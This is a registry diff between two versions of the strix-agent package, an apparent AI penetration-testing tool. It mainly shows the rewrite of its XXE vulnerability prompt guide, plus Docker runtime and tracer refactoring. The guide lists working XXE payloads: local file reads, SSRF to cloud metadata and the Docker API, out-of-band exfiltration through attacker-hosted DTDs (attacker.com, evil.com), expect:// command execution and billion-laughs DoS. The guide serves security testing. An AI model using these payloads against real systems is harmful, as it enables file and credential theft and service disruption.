strix-agent 0.1.18__py3-none-any.whl → 0.3.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strix-agent might be problematic. Click here for more details.

Files changed (68) hide show
  1. strix/agents/StrixAgent/strix_agent.py +49 -39
  2. strix/agents/StrixAgent/system_prompt.jinja +23 -10
  3. strix/agents/base_agent.py +90 -10
  4. strix/agents/state.py +23 -2
  5. strix/interface/cli.py +171 -0
  6. strix/interface/main.py +482 -0
  7. strix/{cli → interface}/tool_components/base_renderer.py +2 -2
  8. strix/{cli → interface}/tool_components/reporting_renderer.py +2 -1
  9. strix/{cli → interface}/tool_components/scan_info_renderer.py +17 -12
  10. strix/{cli/app.py → interface/tui.py} +107 -31
  11. strix/interface/utils.py +435 -0
  12. strix/prompts/README.md +64 -0
  13. strix/prompts/__init__.py +1 -1
  14. strix/prompts/cloud/.gitkeep +0 -0
  15. strix/prompts/custom/.gitkeep +0 -0
  16. strix/prompts/frameworks/fastapi.jinja +142 -0
  17. strix/prompts/frameworks/nextjs.jinja +126 -0
  18. strix/prompts/protocols/graphql.jinja +215 -0
  19. strix/prompts/reconnaissance/.gitkeep +0 -0
  20. strix/prompts/technologies/firebase_firestore.jinja +177 -0
  21. strix/prompts/technologies/supabase.jinja +189 -0
  22. strix/prompts/vulnerabilities/authentication_jwt.jinja +133 -115
  23. strix/prompts/vulnerabilities/broken_function_level_authorization.jinja +146 -0
  24. strix/prompts/vulnerabilities/business_logic.jinja +146 -118
  25. strix/prompts/vulnerabilities/csrf.jinja +137 -131
  26. strix/prompts/vulnerabilities/idor.jinja +149 -118
  27. strix/prompts/vulnerabilities/insecure_file_uploads.jinja +188 -0
  28. strix/prompts/vulnerabilities/mass_assignment.jinja +141 -0
  29. strix/prompts/vulnerabilities/path_traversal_lfi_rfi.jinja +142 -0
  30. strix/prompts/vulnerabilities/race_conditions.jinja +135 -165
  31. strix/prompts/vulnerabilities/rce.jinja +128 -180
  32. strix/prompts/vulnerabilities/sql_injection.jinja +128 -192
  33. strix/prompts/vulnerabilities/ssrf.jinja +118 -151
  34. strix/prompts/vulnerabilities/xss.jinja +144 -196
  35. strix/prompts/vulnerabilities/xxe.jinja +151 -243
  36. strix/runtime/docker_runtime.py +28 -7
  37. strix/runtime/runtime.py +4 -1
  38. strix/telemetry/__init__.py +4 -0
  39. strix/{cli → telemetry}/tracer.py +21 -9
  40. strix/tools/agents_graph/agents_graph_actions.py +17 -12
  41. strix/tools/agents_graph/agents_graph_actions_schema.xml +10 -14
  42. strix/tools/executor.py +1 -1
  43. strix/tools/finish/finish_actions.py +1 -1
  44. strix/tools/registry.py +1 -1
  45. strix/tools/reporting/reporting_actions.py +1 -1
  46. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/METADATA +95 -15
  47. strix_agent-0.3.1.dist-info/RECORD +115 -0
  48. strix_agent-0.3.1.dist-info/entry_points.txt +3 -0
  49. strix/cli/main.py +0 -702
  50. strix_agent-0.1.18.dist-info/RECORD +0 -99
  51. strix_agent-0.1.18.dist-info/entry_points.txt +0 -3
  52. /strix/{cli → interface}/__init__.py +0 -0
  53. /strix/{cli/assets/cli.tcss → interface/assets/tui_styles.tcss} +0 -0
  54. /strix/{cli → interface}/tool_components/__init__.py +0 -0
  55. /strix/{cli → interface}/tool_components/agents_graph_renderer.py +0 -0
  56. /strix/{cli → interface}/tool_components/browser_renderer.py +0 -0
  57. /strix/{cli → interface}/tool_components/file_edit_renderer.py +0 -0
  58. /strix/{cli → interface}/tool_components/finish_renderer.py +0 -0
  59. /strix/{cli → interface}/tool_components/notes_renderer.py +0 -0
  60. /strix/{cli → interface}/tool_components/proxy_renderer.py +0 -0
  61. /strix/{cli → interface}/tool_components/python_renderer.py +0 -0
  62. /strix/{cli → interface}/tool_components/registry.py +0 -0
  63. /strix/{cli → interface}/tool_components/terminal_renderer.py +0 -0
  64. /strix/{cli → interface}/tool_components/thinking_renderer.py +0 -0
  65. /strix/{cli → interface}/tool_components/user_message_renderer.py +0 -0
  66. /strix/{cli → interface}/tool_components/web_search_renderer.py +0 -0
  67. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/LICENSE +0 -0
  68. {strix_agent-0.1.18.dist-info → strix_agent-0.3.1.dist-info}/WHEEL +0 -0
@@ -1,276 +1,184 @@
1
1
  <xxe_vulnerability_guide>
2
- <title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
3
-
4
- <critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
5
-
6
- <discovery_points>
7
- - XML file uploads (docx, xlsx, svg, xml)
8
- - SOAP endpoints
9
- - REST APIs accepting XML
10
- - SAML implementations
11
- - RSS/Atom feeds
12
- - XML configuration files
13
- - WebDAV
14
- - Office document processors
15
- - SVG image uploads
16
- - PDF generators with XML input
17
- </discovery_points>
18
-
19
- <basic_payloads>
20
- <file_disclosure>
21
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
22
- <root>&xxe;</root>
23
-
24
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
25
- <root>&xxe;</root>
26
- </file_disclosure>
27
-
28
- <ssrf_via_xxe>
29
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
30
- <root>&xxe;</root>
31
- </ssrf_via_xxe>
32
-
33
- <blind_xxe_oob>
34
- <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
2
+ <title>XML EXTERNAL ENTITY (XXE)</title>
3
+
4
+ <critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
5
+
6
+ <scope>
7
+ - File disclosure: read server files and configuration
8
+ - SSRF: reach metadata services, internal admin panels, service ports
9
+ - DoS: entity expansion (billion laughs), external resource amplification
10
+ - Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
11
+ - Transclusion: XInclude and XSLT document() loading external resources
12
+ </scope>
13
+
14
+ <methodology>
15
+ 1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
16
+ 2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
17
+ 3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
18
+ 4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
19
+ </methodology>
20
+
21
+ <discovery_techniques>
22
+ <surface_map>
23
+ - File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
24
+ - Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
25
+ - Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
26
+ </surface_map>
27
+
28
+ <capability_probes>
29
+ - Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
30
+ - External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
31
+ - XInclude probe: add xi:include to see if transclusion is enabled
32
+ - XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
33
+ </capability_probes>
34
+ </discovery_techniques>
35
+
36
+ <detection_channels>
37
+ <direct>
38
+ - Inline disclosure of entity content in the HTTP response, transformed output, or error pages
39
+ </direct>
40
+
41
+ <error_based>
42
+ - Coerce parser errors that leak path fragments or file content via interpolated messages
43
+ </error_based>
44
+
45
+ <oast>
46
+ - Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
47
+ - Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
48
+ </oast>
49
+
50
+ <timing>
51
+ - Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
52
+ </timing>
53
+ </detection_channels>
54
+
55
+ <core_payloads>
56
+ <local_file>
57
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
58
+ <r>&xxe;</r>
59
+
60
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
61
+ <r>&xxe;</r>
62
+ </local_file>
63
+
64
+ <ssrf>
65
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
66
+ <r>&xxe;</r>
67
+
68
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
69
+ <r>&xxe;</r>
70
+ </ssrf>
71
+
72
+ <oob_parameter_entity>
73
+ <!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
35
74
 
36
75
  evil.dtd:
37
- <!ENTITY % file SYSTEM "file:///etc/passwd">
38
- <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
39
- %eval;
40
- %exfiltrate;
41
- </blind_xxe_oob>
42
- </basic_payloads>
76
+ <!ENTITY % f SYSTEM "file:///etc/hostname">
77
+ <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
78
+ %e; %exfil;
79
+ </oob_parameter_entity>
80
+ </core_payloads>
43
81
 
44
82
  <advanced_techniques>
45
83
  <parameter_entities>
46
- <!DOCTYPE foo [
47
- <!ENTITY % data SYSTEM "file:///etc/passwd">
48
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?d=%data;'>">
49
- %param;
50
- %exfil;
51
- ]>
84
+ - Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
52
85
  </parameter_entities>
53
86
 
54
- <error_based_xxe>
55
- <!DOCTYPE foo [
56
- <!ENTITY % file SYSTEM "file:///etc/passwd">
57
- <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
58
- %eval;
59
- %error;
60
- ]>
61
- </error_based_xxe>
62
-
63
- <xxe_in_attributes>
64
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
65
- <root attr="&xxe;"/>
66
- </xxe_in_attributes>
67
- </advanced_techniques>
68
-
69
- <filter_bypasses>
70
- <encoding_tricks>
71
- - UTF-16: <?xml version="1.0" encoding="UTF-16"?>
72
- - UTF-7: <?xml version="1.0" encoding="UTF-7"?>
73
- - Base64 in CDATA: <![CDATA[base64_payload]]>
74
- </encoding_tricks>
75
-
76
- <protocol_variations>
77
- - file:// → file:
78
- - file:// → netdoc://
79
- - http:// → https://
80
- - Gopher: gopher://
81
- - PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
82
- </protocol_variations>
83
-
84
- <doctype_variations>
85
- <!doctype foo [
86
- <!DoCtYpE foo [
87
- <!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
88
- <!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
89
- </doctype_variations>
90
- </filter_bypasses>
91
-
92
- <specific_contexts>
93
- <json_xxe>
94
- {% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
95
- </json_xxe>
96
-
97
- <soap_xxe>
98
- <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
99
- <soap:Body>
100
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
101
- <foo>&xxe;</foo>
102
- </soap:Body>
103
- </soap:Envelope>
104
- </soap_xxe>
105
-
106
- <svg_xxe>
107
- <svg xmlns="http://www.w3.org/2000/svg">
108
- <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
109
- <text>&xxe;</text>
110
- </svg>
111
- </svg_xxe>
112
-
113
- <docx_xlsx_xxe>
114
- 1. Unzip document
115
- 2. Edit document.xml or similar
116
- 3. Add XXE payload
117
- 4. Rezip and upload
118
- </docx_xlsx_xxe>
119
- </specific_contexts>
120
-
121
- <blind_xxe_techniques>
122
- <dns_exfiltration>
123
- <!DOCTYPE foo [
124
- <!ENTITY % data SYSTEM "file:///etc/hostname">
125
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.attacker.com/'>">
126
- %param;
127
- %exfil;
128
- ]>
129
- </dns_exfiltration>
130
-
131
- <ftp_exfiltration>
132
- <!DOCTYPE foo [
133
- <!ENTITY % data SYSTEM "file:///etc/passwd">
134
- <!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
135
- %param;
136
- %exfil;
137
- ]>
138
- </ftp_exfiltration>
139
-
140
- <php_wrappers>
141
- <!DOCTYPE foo [
142
- <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
143
- ]>
144
- <root>&xxe;</root>
145
- </php_wrappers>
146
- </blind_xxe_techniques>
147
-
148
- <xxe_to_rce>
149
- <expect_module>
150
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
151
- <root>&xxe;</root>
152
- </expect_module>
153
-
154
- <file_upload_lfi>
155
- 1. Upload malicious PHP via XXE
156
- 2. Include via LFI or direct access
157
- </file_upload_lfi>
158
-
159
- <java_specific>
160
- <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
161
- </java_specific>
162
- </xxe_to_rce>
163
-
164
- <denial_of_service>
165
- <billion_laughs>
166
- <!DOCTYPE lolz [
167
- <!ENTITY lol "lol">
168
- <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
169
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
170
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
171
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
172
- ]>
173
- <lolz>&lol5;</lolz>
174
- </billion_laughs>
175
-
176
- <external_dtd_dos>
177
- <!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
178
- </external_dtd_dos>
179
- </denial_of_service>
180
-
181
- <modern_bypasses>
182
87
  <xinclude>
183
88
  <root xmlns:xi="http://www.w3.org/2001/XInclude">
184
89
  <xi:include parse="text" href="file:///etc/passwd"/>
185
90
  </root>
91
+ - Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
186
92
  </xinclude>
187
93
 
188
- <xslt>
94
+ <xslt_document>
95
+ - XSLT processors can fetch external resources via document():
189
96
  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
190
97
  <xsl:template match="/">
191
98
  <xsl:copy-of select="document('file:///etc/passwd')"/>
192
99
  </xsl:template>
193
100
  </xsl:stylesheet>
194
- </xslt>
195
- </modern_bypasses>
101
+ - Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
102
+ </xslt_document>
103
+
104
+ <protocol_wrappers>
105
+ - Java: jar:, netdoc:
106
+ - PHP: php://filter, expect:// (when module enabled)
107
+ - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
108
+ </protocol_wrappers>
109
+ </advanced_techniques>
196
110
 
197
- <parser_specific>
198
- <java>
199
- - Supports jar: protocol
200
- - External DTDs by default
201
- - Parameter entities work
202
- </java>
111
+ <filter_bypasses>
112
+ <encoding_variants>
113
+ - UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
114
+ </encoding_variants>
203
115
 
204
- <dotnet>
205
- - Supports file:// by default
206
- - DTD processing varies by version
207
- </dotnet>
116
+ <doctype_variants>
117
+ - PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
118
+ </doctype_variants>
208
119
 
209
- <php>
210
- - libxml2 based
211
- - expect:// protocol with expect module
212
- - php:// wrappers
213
- </php>
120
+ <network_controls>
121
+ - If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
122
+ </network_controls>
123
+ </filter_bypasses>
124
+
125
+ <special_contexts>
126
+ <soap>
127
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
128
+ <soap:Body>
129
+ <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
130
+ <d>&xxe;</d>
131
+ </soap:Body>
132
+ </soap:Envelope>
133
+ </soap>
214
134
 
215
- <python>
216
- - Default parsers often vulnerable
217
- - lxml safer than xml.etree
218
- </python>
219
- </parser_specific>
135
+ <saml>
136
+ - Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
137
+ </saml>
220
138
 
221
- <validation_testing>
222
- <detection>
223
- 1. Basic entity test: &xxe;
224
- 2. External DTD: http://attacker.com/test.dtd
225
- 3. Parameter entity: %xxe;
226
- 4. Time-based: DTD with slow server
227
- 5. DNS lookup: http://test.attacker.com/
228
- </detection>
139
+ <svg_and_renderers>
140
+ - Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
141
+ </svg_and_renderers>
229
142
 
230
- <false_positives>
231
- - Entity declared but not processed
232
- - DTD loaded but entities blocked
233
- - Output encoding preventing exploitation
234
- - Limited file access (chroot/sandbox)
235
- </false_positives>
236
- </validation_testing>
143
+ <office_docs>
144
+ - OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
145
+ </office_docs>
146
+ </special_contexts>
237
147
 
238
- <impact_demonstration>
239
- 1. Read sensitive files (/etc/passwd, web.config)
240
- 2. Cloud metadata access (AWS keys)
241
- 3. Internal network scanning (SSRF)
242
- 4. Data exfiltration proof
243
- 5. DoS demonstration
244
- 6. RCE if possible
245
- </impact_demonstration>
148
+ <validation>
149
+ 1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
150
+ 2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
151
+ 3. Confirm blind channels with OAST and correlate to the triggering request.
152
+ 4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
153
+ 5. Bound impact: exact files/data reached or internal targets proven.
154
+ </validation>
246
155
 
247
- <automation>
248
- # XXE Scanner
249
- def test_xxe(url, param):
250
- payloads = [
251
- '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
252
- '<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
253
- '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
254
- ]
156
+ <false_positives>
157
+ - DOCTYPE accepted but entities not resolved and no transclusion reachable
158
+ - Filters or sandboxes that emit entity strings literally (no IO performed)
159
+ - Mocks/stubs that simulate success without network/file access
160
+ - XML processed only client-side (no server parse)
161
+ </false_positives>
255
162
 
256
- for payload in payloads:
257
- response = requests.post(url, data={param: payload})
258
- if 'root:' in response.text or check_callback():
259
- return f"XXE found with: {payload}"
260
- </automation>
163
+ <impact>
164
+ - Disclosure of credentials/keys/configs, code, and environment secrets
165
+ - Access to cloud metadata/token services and internal admin panels
166
+ - Denial of service via entity expansion or slow external resources
167
+ - Code execution via XSLT/expect:// in insecure stacks
168
+ </impact>
261
169
 
262
170
  <pro_tips>
263
- 1. Try all protocols, not just file://
264
- 2. Use parameter entities for blind XXE
265
- 3. Chain with SSRF for cloud metadata
266
- 4. Test different encodings (UTF-16)
267
- 5. Don't forget JSON/SOAP contexts
268
- 6. XInclude when entities are blocked
269
- 7. Error messages reveal file paths
270
- 8. Monitor DNS for blind confirmation
271
- 9. Some parsers allow network access but not files
272
- 10. Modern frameworks disable XXE by default - check configs
171
+ 1. Prefer OAST first; it is the quietest confirmation in production-like paths.
172
+ 2. When content is sanitized, use error-based and length/ETag diffs.
173
+ 3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
174
+ 4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
175
+ 5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
176
+ 6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
177
+ 7. Test background processors separately; they often use different parser settings.
178
+ 8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
179
+ 9. Combine with path traversal and deserialization where XML touches downstream systems.
180
+ 10. Document exact parser behavior per stack; defenses must match real libraries and flags.
273
181
  </pro_tips>
274
182
 
275
- <remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
183
+ <remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
276
184
  </xxe_vulnerability_guide>
@@ -40,7 +40,7 @@ class DockerRuntime(AbstractRuntime):
40
40
 
41
41
  def _get_scan_id(self, agent_id: str) -> str:
42
42
  try:
43
- from strix.cli.tracer import get_global_tracer
43
+ from strix.telemetry.tracer import get_global_tracer
44
44
 
45
45
  tracer = get_global_tracer()
46
46
  if tracer and tracer.scan_config:
@@ -250,7 +250,9 @@ class DockerRuntime(AbstractRuntime):
250
250
 
251
251
  time.sleep(5)
252
252
 
253
- def _copy_local_directory_to_container(self, container: Container, local_path: str) -> None:
253
+ def _copy_local_directory_to_container(
254
+ self, container: Container, local_path: str, target_name: str | None = None
255
+ ) -> None:
254
256
  import tarfile
255
257
  from io import BytesIO
256
258
 
@@ -260,13 +262,20 @@ class DockerRuntime(AbstractRuntime):
260
262
  logger.warning(f"Local path does not exist or is not directory: {local_path_obj}")
261
263
  return
262
264
 
263
- logger.info(f"Copying local directory {local_path_obj} to container")
265
+ if target_name:
266
+ logger.info(
267
+ f"Copying local directory {local_path_obj} to container at "
268
+ f"/workspace/{target_name}"
269
+ )
270
+ else:
271
+ logger.info(f"Copying local directory {local_path_obj} to container")
264
272
 
265
273
  tar_buffer = BytesIO()
266
274
  with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
267
275
  for item in local_path_obj.rglob("*"):
268
276
  if item.is_file():
269
- arcname = item.relative_to(local_path_obj)
277
+ rel_path = item.relative_to(local_path_obj)
278
+ arcname = Path(target_name) / rel_path if target_name else rel_path
270
279
  tar.add(item, arcname=arcname)
271
280
 
272
281
  tar_buffer.seek(0)
@@ -283,14 +292,26 @@ class DockerRuntime(AbstractRuntime):
283
292
  logger.exception("Failed to copy local directory to container")
284
293
 
285
294
  async def create_sandbox(
286
- self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
295
+ self,
296
+ agent_id: str,
297
+ existing_token: str | None = None,
298
+ local_sources: list[dict[str, str]] | None = None,
287
299
  ) -> SandboxInfo:
288
300
  scan_id = self._get_scan_id(agent_id)
289
301
  container = self._get_or_create_scan_container(scan_id)
290
302
 
291
303
  source_copied_key = f"_source_copied_{scan_id}"
292
- if local_source_path and not hasattr(self, source_copied_key):
293
- self._copy_local_directory_to_container(container, local_source_path)
304
+ if local_sources and not hasattr(self, source_copied_key):
305
+ for index, source in enumerate(local_sources, start=1):
306
+ source_path = source.get("source_path")
307
+ if not source_path:
308
+ continue
309
+
310
+ target_name = source.get("workspace_subdir")
311
+ if not target_name:
312
+ target_name = Path(source_path).name or f"target_{index}"
313
+
314
+ self._copy_local_directory_to_container(container, source_path, target_name)
294
315
  setattr(self, source_copied_key, True)
295
316
 
296
317
  container_id = container.id
strix/runtime/runtime.py CHANGED
@@ -13,7 +13,10 @@ class SandboxInfo(TypedDict):
13
13
  class AbstractRuntime(ABC):
14
14
  @abstractmethod
15
15
  async def create_sandbox(
16
- self, agent_id: str, existing_token: str | None = None, local_source_path: str | None = None
16
+ self,
17
+ agent_id: str,
18
+ existing_token: str | None = None,
19
+ local_sources: list[dict[str, str]] | None = None,
17
20
  ) -> SandboxInfo:
18
21
  raise NotImplementedError
19
22
 
@@ -0,0 +1,4 @@
1
+ from .tracer import Tracer, get_global_tracer, set_global_tracer
2
+
3
+
4
+ __all__ = ["Tracer", "get_global_tracer", "set_global_tracer"]
@@ -1,10 +1,14 @@
1
1
  import logging
2
2
  from datetime import UTC, datetime
3
3
  from pathlib import Path
4
- from typing import Any, Optional
4
+ from typing import TYPE_CHECKING, Any, Optional
5
5
  from uuid import uuid4
6
6
 
7
7
 
8
+ if TYPE_CHECKING:
9
+ from collections.abc import Callable
10
+
11
+
8
12
  logger = logging.getLogger(__name__)
9
13
 
10
14
  _global_tracer: Optional["Tracer"] = None
@@ -40,14 +44,15 @@ class Tracer:
40
44
  "run_name": self.run_name,
41
45
  "start_time": self.start_time,
42
46
  "end_time": None,
43
- "target": None,
44
- "scan_type": None,
47
+ "targets": [],
45
48
  "status": "running",
46
49
  }
47
50
  self._run_dir: Path | None = None
48
51
  self._next_execution_id = 1
49
52
  self._next_message_id = 1
50
53
 
54
+ self.vulnerability_found_callback: Callable[[str, str, str, str], None] | None = None
55
+
51
56
  def set_run_name(self, run_name: str) -> None:
52
57
  self.run_name = run_name
53
58
  self.run_id = run_name
@@ -81,6 +86,12 @@ class Tracer:
81
86
 
82
87
  self.vulnerability_reports.append(report)
83
88
  logger.info(f"Added vulnerability report: {report_id} - {title}")
89
+
90
+ if self.vulnerability_found_callback:
91
+ self.vulnerability_found_callback(
92
+ report_id, title.strip(), content.strip(), severity.lower().strip()
93
+ )
94
+
84
95
  return report_id
85
96
 
86
97
  def set_final_scan_result(
@@ -181,8 +192,7 @@ class Tracer:
181
192
  self.scan_config = config
182
193
  self.run_metadata.update(
183
194
  {
184
- "target": config.get("target", {}),
185
- "scan_type": config.get("scan_type", "general"),
195
+ "targets": config.get("targets", []),
186
196
  "user_instructions": config.get("user_instructions", ""),
187
197
  "max_iterations": config.get("max_iterations", 200),
188
198
  }
@@ -194,14 +204,16 @@ class Tracer:
194
204
  self.end_time = datetime.now(UTC).isoformat()
195
205
 
196
206
  if self.final_scan_result:
197
- scan_report_file = run_dir / "scan_report.md"
198
- with scan_report_file.open("w", encoding="utf-8") as f:
199
- f.write("# Security Scan Report\n\n")
207
+ penetration_test_report_file = run_dir / "penetration_test_report.md"
208
+ with penetration_test_report_file.open("w", encoding="utf-8") as f:
209
+ f.write("# Security Penetration Test Report\n\n")
200
210
  f.write(
201
211
  f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n"
202
212
  )
203
213
  f.write(f"{self.final_scan_result}\n")
204
- logger.info(f"Saved final scan report to: {scan_report_file}")
214
+ logger.info(
215
+ f"Saved final penetration test report to: {penetration_test_report_file}"
216
+ )
205
217
 
206
218
  if self.vulnerability_reports:
207
219
  vuln_dir = run_dir / "vulnerabilities"